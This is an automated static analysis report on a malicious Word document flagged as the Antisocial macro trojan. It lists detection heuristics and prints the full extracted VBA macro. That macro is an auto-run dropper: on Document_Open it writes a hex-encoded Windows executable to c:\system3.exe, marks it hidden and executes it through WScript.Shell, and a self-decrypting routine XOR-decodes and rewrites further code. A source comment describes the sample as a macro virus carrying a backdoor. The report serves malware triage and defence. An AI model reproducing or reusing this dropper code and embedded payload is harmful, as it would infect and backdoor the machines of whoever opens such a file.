Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 032fd09342c2a258…

MALICIOUS

Office (OLE)

73.0 KB Created: 2002-06-07 17:12:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 790ba94062744399b22d8a58b65b51a5 SHA-1: 124747a2b3be1094fea96cdca552b78ba58733ad SHA-256: 032fd09342c2a258724fee086eb8cc1a0aef843bed3c4b88015e3f48571df36c
390 Risk Score

Heuristics 9

  • ClamAV: Doc.Trojan.Antisocial-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Antisocial-8
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Alevirus.Write (Knight7("0000000000000000000000000000"))
Alevirus.Close: Set VxBrasil = CreateObject("WScript.Shell"): SetAttr "c:\system3.exe", 6: VxBrasil.Run (("c:\system3.exe"))
final:
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    linux:
Set Drasrv = CreateObject("Scripting.FileSystemObject"): Set Alevirus = Drasrv.CreateTextFile(("c:\system3.exe"), True)
Alevirus.Write (Knight7("4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    linux:
Set Drasrv = CreateObject("Scripting.FileSystemObject"): Set Alevirus = Drasrv.CreateTextFile(("c:\system3.exe"), True)
Alevirus.Write (Knight7("4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Macro Virus by Alevirusscs VxBrasil 11/12/2001 BackDoor by Knight-7 Brasil
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 63836 bytes
SHA-256: 121eabf765acb533837acf81a5c40ba1b2eff70dfd1cc6b62c7881c4e1ac9596
Detection
ClamAV: Doc.Trojan.Antisocial-8
Obfuscation or payload: likely
Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Macro Virus by Alevirusscs VxBrasil 11/12/2001 BackDoor by Knight-7 Brasil
On Error GoTo linux
Open "c:\system3.exe" For Input As #1: Close #1: GoTo final:
linux:
Set Drasrv = CreateObject("Scripting.FileSystemObject"): Set Alevirus = Drasrv.CreateTextFile(("c:\system3.exe"), True)
Alevirus.Write (Knight7("4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000"))
Alevirus.Write (Knight7("00000000000000000000000000000000000000B00000000E1FBA0E00B409CD21B8014CCD2154686973"))
Alevirus.Write (Knight7("2070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000"))
Alevirus.Write (Knight7("000000000055D9F9DB11B8978811B8978811B8978811B897885EB89788ED98858813B8978852696368"))
Alevirus.Write (Knight7("11B897880000000000000000504500004C01020000000A3C9090909000000000E0000F010B01050C00"))
Alevirus.Write (Knight7("1400000028000000000000264300000010000000300000000040000010000000020000040000000000"))
Alevirus.Write (Knight7("0000040000000000000000C0000000040000D4F7000002000000000010000010000000001000001000"))
Alevirus.Write (Knight7("00000000001000000000000000000000003A4400008500000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("000000000000000000000000000070637331000000000030000000100000000E000000040000000000"))
Alevirus.Write (Knight7("000000000000000000200000E070637332000000008D73000000400000000800000012000000000000"))
Alevirus.Write (Knight7("0000000000000000200000E00000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000068"))
Alevirus.Write (Knight7("1CB15C40186A05E8147012C80A2D800BC0740CA3B6A817E811C32168FE507A1850190A0B4151F75254"))
Alevirus.Write (Knight7("250C066A0144FF7FD030F3111E8BF04618BF354E3A8A06313C22328807F847EB03F46A6468D14D7A75"))
Alevirus.Write (Knight7("4411468A910F12C622E34F1442037AF51148521708946A11D45114E8713E7B8475A089E0420F931644"))
Alevirus.Write (Knight7("C56A7C08569811525411BA0C28220F509943AC84D5E40F88914530671EAF140A283B4D44726638B964"))
Alevirus.Write (Knight7("28BF45F2491847C6070C0BC92975F5C944227849A10FD64BC93F3AD3BA3880670F039A0B3715EA1C42"))
Alevirus.Write (Knight7("B2100083F8FF741A41A3587E831B4850376F8143A71D9C14FF503517E86AD44C0BC475548B11F701A1"))
Alevirus.Write (Knight7("83F9C075F408803D43520001741FB86D14CC87441B6A6420A2508CC357C56DC6055821505C5F8C2207"))
Alevirus.Write (Knight7("1E7D558D102FD5210C681E413FE9644BE9855FE898AC0F426A2B281E905B950A226336A32C33C82121"))
Alevirus.Write (Knight7("4C0728BEDCDA2210030CB8831A631C534C6E84C10F1EBB34A30D82944C27011E10247212C2752782F1"))
Alevirus.Write (Knight7("F04F257432FCF4840B695D544C6F19307515CA8D73EB9495306E02FA83AB378072C9A3A0366879A078"))
Alevirus.Write (Knight7("9910A1604B830D66C705F8312F0212A3FAB2111CFC2A0128CC5168194C6C02938E85846A0532121A30"))
Alevirus.Write (Knight7("0F84746ED9026EF41D2124322265343D43110F85D21229683623BB08AD714EAE0F4C3C3289A3442A84"))
Alevirus.Write (Knight7("B9C380BF4974B9E549C10A9A71B9E6AD5837FB40FE68267F409E50F90EA6E230742C631168D04250C8"))
Alevirus.Write (Knight7("8251CA1538A4E96C57EF590F985457512C2156449E496AB66AA920360A227EA1AFC80E8D682CAB6AB2"))
Alevirus.Write (Knight7("42FB0E394912A080193C4D754F37689B13556408214486B829171F4D8E97B1C00D01E9B048E720494E"))
Alevirus.Write (Knight7("D132F91FB8CAEDCDB9A4C108050903EBDD3C4837C093F386591042DC205A42EB204A221B014046BE44"))
Alevirus.Write (Knight7("0B473E744D3142181C0913451110A9042058227E0240440744034B81F643185250990853811D0855D4"))
Alevirus.Write (Knight7("9920205762CA11E914462698612468F26F70130E8E205BFD3AE9F2D4220E2168B6C2F10D3939148AD6"))
Alevirus.Write (Knight7("692894186BA2170D540B23AC84682CC8FBF9620CE794FB018D0583297D92462AE81EE314E98AFD1721"))
Alevirus.Write (Knight7("99E4072273290EA70108BFC6411C208C28566812B024CBA7C3328F613A22101E683C4254C4480D7190"))
Alevirus.Write (Knight7("FC01E9279499E88E805D81EDFB15C33EBEDF532A499EC30CFC8DBD5B6D5770B8A9A7AB9E0F08213B50"))
Alevirus.Write (Knight7("0E3328C0508C6781930B9B040889458B8D012C3BC8747FE8F7FC315156766358164EC4631C0443ACAA"))
Alevirus.Write (Knight7("0AE175FA24FE52AB35D84EBE05DF6198A9778DB56B6B590CCC17BE500D159486226E5AEB081584437F"))
Alevirus.Write (Knight7("116F5B2259226802ACEE20D00B3D5E81D2980B59E2839D73084E0B46300D910C901DE13C0C1DC5FB11"))
Alevirus.Write (Knight7("1BFC049C437B530B64C86C94C31BC860BE14B9349A9320E8803E3B01740346E2F8C606C3B4A1E44286"))
Alevirus.Write (Knight7("5666FFC8EF7992C3DC2EF4460AC41B0B6C0CAC9CA1B202337965B9402319874B6F2B26109B4EB1C60A"))
Alevirus.Write (Knight7("0B3D4FD54560FBE24250C45B0B71A3FA01E93A51E668E835E4206E0A946150080B99A562FD0A27E058"))
Alevirus.Write (Knight7("D0E925CA73BF7124D90A803FEB8847EB1407ADA85615E8DE09A9D92010578782E80991BAD2A78D821C"))
Alevirus.Write (Knight7("5B6A931722CED2A6782BBA0A9B91080A5068F4B529208DE80435856C58742477F53A38C9C618530938"))
Alevirus.Write (Knight7("10D0F914EBA534C4A0098B08314717E94FA4AB7C251845780982E6D370B030B9FF03F2AE8378E904F7"))
Alevirus.Write (Knight7("D9498BC1D522DAD4112D0ACC75B7E9510C433CD5749371264B62170A590861F8207C625D040D686650"))
Alevirus.Write (Knight7("2CEB47092833426ACA0B229073E2C914421122A8A85EE8AF50081801527553218DC49828E0EB127714"))
Alevirus.Write (Knight7("439A887651BE4222553008E873DB99109E015FD227B9E322D6362D8F08344E7F928D94770F21601C06"))
Alevirus.Write (Knight7("1A0294D3533414C1F3E828A5E512AE8582600D2B1220580BFB4D0886C8A770D508996E679AB8598F51"))
Alevirus.Write (Knight7("0BB65C119407473577B179ED16195C4385303E1E90719E5A4C589EED12589097B80BCC41BE5FEB6ACF"))
Alevirus.Write (Knight7("902C1DBC6BED2786166D4351A32BCC74C52868273352314900B791E3B48B710C03ADFF308F05A64F31"))
Alevirus.Write (Knight7("0E08A2F095582A06253C7592AA274B2C680F6A45F02820108BAA0B911C1F08FF8708F4079CEF213224"))
Alevirus.Write (Knight7("2CD326A91D90D788D2690A4A3908304159BB08B6886889FF726D85FF06DB7C28F00F57C31E21E115AE"))
Alevirus.Write (Knight7("0FC8D242D3491442C32B791E90B488DC59A5087F85909688C859871544A39D084836711808138A9910"))
Alevirus.Write (Knight7("D8A44F92CBABDE26D8025F21E94962E30685181834B285A229BCE9AEAE150A8F178BAC04075035E8B0"))
Alevirus.Write (Knight7("21827CB3841B1B4FC36592524E88EFB1290BC46A0F88F00595BE1ECFE1F6DD98520FD211CA5C1EC384"))
Alevirus.Write (Knight7("4289C8B442B7531442A521C3649678878442B3C878F169094E962B5A1E444B227F16423C3DEA42882D"))
Alevirus.Write (Knight7("441D2C1E896A5D02307006A50F2A21901E421A7660080DC3558BEC0183C4F88D45FC50BB08F4CE453F"))
Alevirus.Write (Knight7("0A1F2D61FF750C668F348DA3E0551DCC22140608951389EB100D06F8E8863342086621C9C210C1BE72"))
Alevirus.Write (Knight7("6B09BFCA5C529B210AC06CAABAC427E874E0AAE92E16F53F00606A1468155DC8253EBD352915220F65"))
Alevirus.Write (Knight7("2A7BBC4A72FAC09019E003B6A74B8682B92935A337278488F3B1301467EB0A6829555D60A9E589051F"))
Alevirus.Write (Knight7("C421D68ECCDD7A37A33B3FA33D473F0D01314C35E4032313CAFD9C4532422C0175D99C15420B183D01"))
Alevirus.Write (Knight7("6F11745215093C4BA9931C18D787EBABA3CA84355905B3E5126161AA3BFA26F119C8163744144661C3"))
Alevirus.Write (Knight7("41452F2572233F240C4CA92B91840F60837DFC070F8CD908018B5D10813B69177F3085CA1F33D28A3A"))
Alevirus.Write (Knight7("5305BAC0A643D80652E86B577E3967516D7445A31707C187555E010D0A911057312D025B8DF79E1532"))
Alevirus.Write (Knight7("68F47951F8AC933D02742EC78086175D45DE68D05FC283C00CA4C24B561A2D8D94B020D002375A58DD"))
Alevirus.Write (Knight7("3C878330FA011874443C1D4172273C847723A259A8DE533549A56A1C36E49A496185070C2C1E5A8710"))
Alevirus.Write (Knight7("7CA08BC8B85F0125EF03712080F99B74BBB85339C99B26A0742DC129E210222ACE4256704501419271"))
Alevirus.Write (Knight7("0223A9057E27C6800A175DC20E02EB14C4E80C888BD048C33D7396D0448038A6470216EEF1CB9D1098"))
Alevirus.Write (Knight7("201464A10D0B8985BF2C780CBB898DF01621A10CC30D411864A341240F01F9C7861B8BB5C90D0F83C6"))
Alevirus.Write (Knight7("18892CCF1366038B5E06C1E310050E1E899DD34D323A7DFFEE2A41E8D946DCCC8BAB27B5581D221EC1"))
Alevirus.Write (Knight7("6CEB2F668BD5D659C483FD83A90E2222D7760360DB0DFFE0E9E3A8A7FAB1F6FE00C9780A8AC1E67032"))
Alevirus.Write (Knight7("74C00271EBF2BF4C38C09A66BD3AF80C1DBAFE0DE8A077F4BF58E04A9045258505E0D5240FB0B5C727"))
Alevirus.Write (Knight7("B855170E01B9AA2ABF0AB2721FC6606551E21BFE32E44A80495291D9143F0FC059B53CAAE8541D20C3"))
Alevirus.Write (Knight7("24B4E0888530430C10E8444A3301DBB7805383EC2C69613DC0BD08B75102B50181EF404181108BF481"))
Alevirus.Write (Knight7("ECAC8647CD20043B0066837E06177405FE02464DEBEE015E43BD3C10808EE588085F37B29A0701C397"))
Alevirus.Write (Knight7("87D5EF8509EC0C44300AEEC3FF15257430E376546C06688643642160903CC818641C322019240C2886"))
Alevirus.Write (Knight7("432C7B86433421389070DEA19044C848644C325019540C5886435C21949098C8B464A032A419A80CAC"))
Alevirus.Write (Knight7("8643B0219C90B8C8BC6490311031080C8654F012ECA906E80C04A918E00CDC8643E42AF40643F82A08"))
Alevirus.Write (Knight7("24E15206FCA71288686A06900CC808641032042BA25B5756E32AB5C75955C9D03606463C652D16BAB5"))
Alevirus.Write (Knight7("948919EB0B012B8D0C899A06481B542F1FF15D048233C25E5FC394C706CC80E75246C8A406C432D419"))
Alevirus.Write (Knight7("800C7C8A9501DF8EE43110B24E54BA26B131085C324A147B40359089A80F223E44DC5487915A228852"))
Alevirus.Write (Knight7("CC50CDBA29C225902C28024036C489A04B14222044D448879156227CA501C666B164A8098648749198"))
Alevirus.Write (Knight7("50013A6C3389095A896A127E249048A891B622C4442CE289EA12F42E15F4321E092A24364842991C31"))
Alevirus.Write (Knight7("0CAE096F3208F226D01957E49C2A3C98742A8C534A78331C115C32716E09E4249248A491B622C444D6"))
Alevirus.Write (Knight7("8289F412089934EE13DE2909C810940E54CC390680DD4F1909090312022401480B910D221744130489"))
Alevirus.Write (Knight7("1012732474543C381900436C6F736548613C6E6476E026DF1C4370794669241641C6331872B96174EA"))
Alevirus.Write (Knight7("910E3D1C4D667508781E9034A6103254680F644BD88344FE50AC2E70753C4578FD0F50726F63AC73DC"))
Alevirus.Write (Knight7("B6E047D934B26DC71DCB4C6931410501BD25FF747334457248A0AB11A1104DE86475576C8A66C52929"))
Alevirus.Write (Knight7("AB43E3648F6A473878A11257BF829F6F77DD44F32863EE786479556814C41D62613DF6CE0E631EA90E"))
Alevirus.Write (Knight7("9A46428ED10FFDCA52A0A99630184B0253D4800B1A506F8A8CABF173DB241CFB7083ADC6AFA3B370A4"))
Alevirus.Write (Knight7("67B91472BAC7CE0ABF0C4A843E94766107196F662D53EB181E6E67EDD302FB47C0C66334C819D6C26D"))
Alevirus.Write (Knight7("7024DC67B47948E26C6A6EC1194B45524ECC4C3328322EDFE3921C141440A379484E4C0E74486F2D6B"))
Alevirus.Write (Knight7("F692249403426973700A9E63684DEEBC24670444D28D485DF3924BDB224A418AF8913BD2154C044814"))
Alevirus.Write (Knight7("8F4BC1794E616D218CB29D6A28464CAC43485B34E5271F02BB01981D426F92C97ED97E50FE6BA57212"))
Alevirus.Write (Knight7("2E15245002626F6172648AECF8B2285D12BA85B3AE03528102556E68531917DC0A5553E529E24757C1"))
Alevirus.Write (Knight7("4F434B4C0D6EE1F46865D2102462D6407CFC48900A910B4F5249A2679B8570EF55490E335B6A1F6A14"))
Alevirus.Write (Knight7("4E124D5D89560633757D505C124F48705653227A84AAA3AA1F1138737C44EC5052498A9F34AC89EFD3"))
Alevirus.Write (Knight7("9F59B4ECF55D16464B6A537110C9550CB6915731494E044554554780756D6369DACC786502B33D4D8D"))
Alevirus.Write (Knight7("4E1C15095280CD456E756DDA083B434D283A2612927BA1117921D9439A50FF890DA333BA3029539CEA"))
Alevirus.Write (Knight7("01D7DCC000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("00000000000000000000000000000000440E524120493CC076657273696F7B6E0E312E304BDE416768"))
Alevirus.Write (Knight7("745365BF26FE3F38369D39355C3238006D61696C2E686F54740863F1FF853E013166926E61C964CD38"))
Alevirus.Write (Knight7("C5405E2F81313930350070757454610F0131416CE46972FD73529132BA8E91290295061935800D0A49"))
Alevirus.Write (Knight7("503AE14B01E23D003E204672DDFE5B3C17F67ADC040348454C4FFD61E32D3783204D41494C1E46524F"))
Alevirus.Write (Knight7("013A3C64336C458C68B53EC03E5243505420E44FDC3A351B47544441FE5A1681553A2022263D77F34B"))
Alevirus.Write (Knight7("3CCF54DA45B26A8424654A7226F053751E626A65D974564E8E2E69665E9E61EAF9A99849C8452D4956"))
Alevirus.Write (Knight7("07893A139631264314746583062D547970BE26CF1678CF2F2D6C92B75B04FA01FFFF69E9042E820651"))
Alevirus.Write (Knight7("554954810B506F723C5270C713617316771A45645F01ABB302842BAE80736E646374076C33322E699E"))
Alevirus.Write (Knight7("540DA16578CA9560D9104B16C343616E886F7420DDE97A7B776C3D7A65BF739D636BBEB82E03537061"))
Alevirus.Write (Knight7("776EFB64C8203A2D52290D7AFC72E26FE79D34447730C62102A81A4669696C1A7028DA6658B34E141F"))
Alevirus.Write (Knight7("2E21C4695E7815FA6BDF42B78F0E7E0D736372A874D8A00E75707D6C7861A30A6604FA76F7FA204B70"))
Alevirus.Write (Knight7("66FAF9A43BDF4A15612E6F9AD207116F661DD9C14BB4328A881B64DCB01F525B67AE28467231F263FA"))
Alevirus.Write (Knight7("50A3A06C0A8A5C78DFBF3428883F20A1897992476D3158626F469F207E68CA775CAE298F4AC94AD124"))
Alevirus.Write (Knight7("18D87275506E864F004654574152455C4DDAB6B240186674F5FFD54F88777E06437572BEF6749733EE"))
Alevirus.Write (Knight7("199652750B5382384374726C654A55A7BD78B84F3A58E16874C4703A712F7177ED2066634E719727D9"))
Alevirus.Write (Knight7("07ED72BFCE74DE1C574F504D896710AD3F669D07823D0526090765D24FC91973D14BBD044472612BE8"))
Alevirus.Write (Knight7("4EF22640A96479DF413DF5B3E15D632B2D952B28C20D0A3D7C064B024D63686A9CDB10BB4F8E126906"))
Alevirus.Write (Knight7("99BD2E6C243C4C58027AD4112751104A2F7F9AA1EBCBDF8779E98FADB23471D3E448EF6DA6BC76FB7D"))
Alevirus.Write (Knight7("492C616D9CBD671D66D26275C324EA3BCACE95015D7C007365742063646175E669786FEFCFA372EF71"))
Alevirus.Write (Knight7("70656E4A169F5E6C7728EE014B3756325537E7982D20B2319FA6F95C2A2947D8666799D75D74532E0E"))
Alevirus.Write (Knight7("D8009C60BDE209000001AD543A4000FFB5503A40006A40FF95883A400050502D7D39400089857E3940"))
Alevirus.Write (Knight7("005F8DB57D394000B9FC000000F3A55FFFE7BD000000008BF781C66001000081C7EC03000057565755"))
Alevirus.Write (Knight7("5756E80E00000083C4085D915E5FF3A4E934010000558BEC60558B75088B7D0CFCB280A4E86D000000"))
Alevirus.Write (Knight7("73F833C9E864000000731933C0E85B0000007321B010E85200000012C073F77541AAEBD7E850000000"))
Alevirus.Write (Knight7("49E2158BC5E844000000EB2EACD1E8744F83D1028BE8EB229148C1E008AC8BE8E8290000003D007D00"))
Alevirus.Write (Knight7("00730C3D00050000730683F87F77024141568BF72BF0F3A45EEB8E02D275058A164612D2C333C941E8"))
Alevirus.Write (Knight7("EEFFFFFF13C9E8E7FFFFFF72F2C35D2B7D0C897DFC615DC325240000693D4000624400000000000000"))
Alevirus.Write (Knight7("000000764400006244000000000000000000000000000000000000000000008344000092440000A344"))
Alevirus.Write (Knight7("0000B1440000000000004B45524E454C33322E444C4C0000004C6F61644C6962726172794100000047"))
Alevirus.Write (Knight7("657450726F6341646472657373000000476C6F62616C416C6C6F630000004578697450726F63657373"))
Alevirus.Write (Knight7("005F078DB5713C4000555756AD070BC0743B926791A0518BF2F31FA4595F0C956D33757E1633856911"))
Alevirus.Write (Knight7("60BBF7CBFADBC80E326103F847D02B905257E88D38FEFF8183C4085E5F5DD9C6D8EBBDCC160C98C98A"))
Alevirus.Write (Knight7("83492993B5034B5687DE669E9B5E78DD0C712233C0F5AAEC7EF0FC4E14F42BCF0C035FEBD2E8418602"))
Alevirus.Write (Knight7("0673368D9D46770653FF95803A0ECC831D22518464502484591C30136AAF2D248C06FFD00995618C2F"))
Alevirus.Write (Knight7("619DBAC110BE0E8FE28BB578410BF63D741A1895651503F20C5256E80FB572500B9D14E67E500CC9EE"))
Alevirus.Write (Knight7("1CF8C3F980585E5A508B0EA083100B1EC9750247CF03CA2AD50E460CE1C2515250487B5A6059FB3B89"))
Alevirus.Write (Knight7("855D888B19F8DBF82D30F7C38F8075041C03DA434A81E3F339357F5A0AA8B5212A9CAC330108AB83C1"))
Alevirus.Write (Knight7("04EBCD40645265711D756972436420444C8F476DA7731FA26E6721406253450D5233322E29C04D6580"))
Alevirus.Write (Knight7("6167EA42296F78FC31021831C22D925D0151D3A30D4613103826035201BF19BF23C9309C0908232901"))
Alevirus.Write (Knight7("55940104D50C87A87115834A6C136451A450CC70637357303505310805FF610CD40E8A08AC093DB000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Alevirus.Write (Knight7("0000000000000000000000000000"))
Alevirus.Close: Set VxBrasil = CreateObject("WScript.Shell"): SetAttr "c:\system3.exe", 6: VxBrasil.Run (("c:\system3.exe"))
final:
Call Crypt
End Sub
Private Function Knight7(puta)
Dim vaca
Dim dexterlabs
vaca = ""
For dexterlabs = 1 To Len(puta) Step 2
vaca = vaca & Chr("&h" & Mid(puta, dexterlabs, 2))
Next
Knight7 = vaca
End Function
Private Function Crypt(): For A = 188 To 223: B = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(A, 1): C = Asc(Chr("&H" & Mid(B, 2, 2))): E = 2: For D = C + 2 To Len(B) Step 2: E = E + 2: F = F & Chr(Asc(Chr("&H" & Mid(B, D, 2))) Xor Asc(Chr("&H" & Mid(B, E, 2)))): If E = C Then E = 2
Next: ThisDocument.VBProject.VBComponents(1).CodeModule.ReplaceLine A, F: F = ""
Next: AlevirusscsBr
End Function
Private Function AlevirusscsBr()
'1888944A4DC504C2CFB50C6AC7FA6A08B776ADBD955E0FFBE12728E54AA7B7C1
'1CC95FF5DE0FF25D86C30E97784C8F3087FE439B33E3B03CD2162FBB2685AA2FCF7DB7FB36B72C23E96DC7ED
'16A54447D3D296FBE83AB1EE213EF3EFB6D9CA
'203E881CFEAC04931A1BCB490C4C624D78E76EDEE761EA5674A4392C71427C1EDC73DEE56AE73249A52D2C66427C0BA13CD58C35
'20F96647292AA56969B653A135309515B2033E091785220CCF73871573FD67D12F295D02F7070D9679810705A13CD94D671803
'10E743C8614AEAA1A926B015
'166D198FB1E9D5068BE96E2E76EBD4C9E826DF81071E5DE0D29CB863E59D403B5BDFC386BF63E89D403B5BCCDE84A569E58C00196AA780C0FB45E48D0B2076EBC485B028C78000086AA7FD80BB63F8DB2B037AFDC899A12AABD847
'188083765A67450F3EF91064D4E61B2A47782F1CDB
'0E7D287942A08A354D0101CFEE1808446282A8
'08EFA78183C2EFA4C2F8CF9AA1DF
'0E1CC875C098D45AA707E0DDBA7FBA0CB0EC9873A705E0A5F42DE821AFB89879A65D83F7B079E1
'04365A53587D534F160B165A53587D534F161D1607
'061B554F3076253B683B017E386B753D75583D697D5A26787D563C7F7D583A7F3037755E3B782762256F19743A6B793B64327C3B0D74273B14683633187231331E7E2C37757730751E7E2C37752A7C327C
'06018948EF21E564E74AEC78A93CA94DEC6FA14AEC78A021DD69EC6FA96DEC6FC264F021B421B9
'168BD31531AD745B27B3ECC5B66D45
'1217C167767E35541952AF04040745205A78A502564315177165E94F3A1B5B7C5272B84E565415663037EA4744571572395CA41E565815007C7AB1
'142CEC197146DEBF46AC6489613229BADA66910CCE3B
'0A170852C9516720E9546736AC254037B1373572F8375C3DE95B6D3CE1526631BB6E78268A786C37E0
'0C3C7B41570C681E2C27445903616A2C741E397F4D4F18691A65585304396F4E0231234F531F247B2C7F1425323E741E397B2C0D52687E
'1235DC96C0EC558A157CBAB68C893BA24150B1E688892DA33508FCA7E0B83DEF7B1588F3AD9C1DEF6D15E1B6E2DC77AA331588F3AD9C1DEF6D
'1669F41EEB9E59267A38FD219166A8F13D435A05DD219166A8F13D435A1EDD3D91739BD63C5E
'060858463D702C
'14EB8968D8D2ABB8FE57BFE101AB96C4DB8B3A8EE71CF684E9E88C3881EC0BACFCFDFABD3886F907B6B7C5CC8D7FDAA0469BBDCFDDB3388FFC04BDFCF9DD8E3B8AEA0D94BBC5DDDE1B82E70DABE0EED69D2592F91CF4F2899FDC77CDA920BDAAE8D79A32
'1269B12E6C8ACF8A6D27D45618
'123A9E7DADE25F4D4B75F05DE8902D22391ACC18DE9732286B74FB05D9
'08873995C849E1EE56FBF417C3EE4BE0F469E7E84DF0E44DFCE857B5BA19BDD557F1A713B5B710
'0EDF7A31AEBE9C900A45C7D1F2AC5462CFC8F9911543C3DFF08F085EC3CEE8FF471186ECF2BB5A1B8E8EB5
'1A2ACE34F41110CA61761F1E2D69A15999707EAE23176D6D05089A5B9B7D63E848585C71435EBC5B986238E82C177C6C4208E71AB17F71A80D137B3E100AE6669A7530E0414636
'04B6F5D9DBDBD7D8D2F4D7C4C59E94FBD7D5C4D9949F98F5D9D8C2C4D9DAC59E94E5D3D5C3C4DFC2CF989898949F98F3D8D7D4DAD3D2968B969EE4D8D2969C96869F
'128F3877BEC066E6BEDC4104CAA50BC8EEFD5101DFB403B6CCE05E1ED2A53592CCE6561096E244CA9EAD703CFB9939A5EBDD6A32F09439B3EDCA6A2BEDAF0092C9EE4A12E28D0F85CCE04B18D8B43AA9D8E95114DB9C5FC88ED36F18CCA43AB5DBEC4D05D7B41FC492AF1A3BDBB6038A9CA6184A9EF140
'06A2B6F6F2828B82E2CADFD1F2CDD5D7DBC7D8D698F4F4F2C4CDDCC7D5D698F4F4E1D9CFC6CDD8C7D8D6C58A878B98E1D9C6D3EFD9C6C3CED38CFACBD8C7C58A878E96F6DECBC5E6D9C1C3CFD3CCC28CE0E0E6D0D9C8D3C1C28CE0E0F5CDDBD2D9CCD3CCC2D19E939F8CF5CDD2C7FBCDD2D7DAC798E1D9D7D8D6F9C4FACBD8C7C58B
'046E27084E3A06071D2A010D1B030B001A4E534E2F0D1A07180B2A010D1B030B001A4E3A060B004E3D0B1A4E3A0F1C090B1A4E534E20011C030F023A0B031E020F1A0B4E2B021D0B4E3D0B1A4E3A0F1C090B1A4E534E2F0D1A07180B2A010D1B030B001A
'1046FBCCB16BBB47129ABED60ECF6910B99CC304D122258FE2E729F8282B8BA3DF0ED53335D3FD9845F828229E81DE0FCE2B23D588D407DE3323B7A5DF0EC86777D7ECE50AC920238FE2E729EB352991A9D21F951104B8A3DC1BD4292395B8C2438A6E68B8A3D50EF628228EA0D445F8283395B8FE0DF72E289EBF
'0E6FF11FA5591B3B906DC23C6F41A75DF52B7405947CD1774D2DB270C82974019471D12A335ED831E6367F0ABC70C12C770ADF5EC13D5D1D9E72F62D69069F78850D5F
'08146EF45D08D4400F86730B803453D4550D807D18915001976103917A1AD44006917A4EB5771A9D620BB07B0D81790B9A6040A7751891551DD4520798712095790BCE292F97600782712A9B771B997100803A28817802BA750391
'147EF8386165488024842A9051122127E351E91B964C4F3629F641E05EC51835173DE5
End Function


' Processing file: /tmp/qstore_34ncfzpe
' ===============================================================================
' Module streams:
